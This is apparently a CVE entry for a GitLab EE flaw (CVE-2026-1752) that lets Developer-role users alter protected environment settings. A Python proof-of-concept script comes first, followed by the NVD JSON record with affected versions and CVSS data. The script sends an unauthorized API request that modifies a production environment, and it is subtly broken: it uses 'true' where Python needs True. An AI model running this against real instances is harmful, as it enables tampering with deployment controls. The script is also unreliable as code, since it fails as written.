CVE-2026-1752

import requests # Target GitLab instance TARGET = "https://gitlab.example.com" PROJECT_ID = 1 ENVIRONMENT_ID = 2 # Attacker's token with Developer role TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" headers = {"PRIVATE-TOKEN": TOKEN} # Payload to update protected environment settings payload = { "name": "production", "tier": "production", # Attempting to modify protected tier "stopable": true } url = f"{TARGET}/api/v4/projects/{PROJECT_ID}/environments/{ENVIRONMENT_ID}" response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Environment settings modified.") else: print(f"[-] Exploit failed. Status code: {response.status_code}")

{"cve": {"id": "CVE-2026-1752", "sourceIdentifier": "[email protected]", "published": "2026-04-08T23:16:58.077", "lastModified": "2026-04-14T17:02:07.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 11.3 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that could have allowed an authenticated user with developer-role permissions to modify protected environment settings due to improper authorization checks in the API."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "18.8.9", "matchCriteriaId": "680D11CA-8B72-40D6-B510-852E4E7C5DE9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.5", "matchCriteriaId": "3BA6A89D-D2C1-45B9-A8E8-64256816D880"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.3", "matchCriteriaId": "BB2F3665-2451-4A4D-8538-93F540975F0E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released/", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/588413", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3533545", "source": "[email protected]", "tags": ["Permissions Required"]}]}}